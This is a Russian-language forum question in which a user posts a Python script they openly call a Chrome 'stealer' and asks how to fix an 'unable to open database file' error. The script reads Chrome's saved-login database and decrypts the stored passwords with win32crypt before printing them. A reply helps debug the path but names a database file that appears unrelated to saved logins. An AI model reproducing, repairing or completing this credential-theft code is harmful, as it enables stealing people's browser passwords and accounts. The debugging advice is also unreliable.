Задать вопрос
@ALTech1

Как исправить ошибку?

Есть вот такой скрипт на Python:
import os
import sqlite3
import win32crypt

def connectDb():
    dBpath = os.path.expanduser("~")+r'\AppData\Local\Google\Chrome\User Data\Default'
    connectionObj=sqlite3.connect(dBpath)
    cursorObj=connectionObj.cursor()
    statement="SELECT origin_url,username_value,password_value FROM logins"
    cursorObj.execute(statement)
    data=cursorObj.fetchall()
    for url,username,password in data:
        password=win32crypt.CryptUnprotectData(password)
        print(f"url: {url},username: {username},password:{password[1].decode('utf-8')}")
        print("......................................................................")

connectDb()

Это стиллер для Chrome.
Все делал вроде правильно, но при запуске выдает ошибку:
Traceback (most recent call last):
File "C:\Users\User\source\repos\Steller\Steller\Steller.py", line 17, in
connectDb()
File "C:\Users\User\source\repos\Steller\Steller\Steller.py", line 7, in connectDb
connectionObj=sqlite3.connect(dBpath)
sqlite3.OperationalError: unable to open database file
Chrome при запуске был закрыт.
Помогите исправить!
  • Вопрос задан
  • 149 просмотров
Подписаться 1 Средний 3 комментария
Пригласить эксперта
Ответы на вопрос 1
@max4107575
dBpath в данном случае содержит адрес каталога, а не базы данных
Добавьте строку
dBpath = os.path.join (dBpath,'previews_opt_out.db')

где previews_opt_out.db - название файла с нужной вам базой данных
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы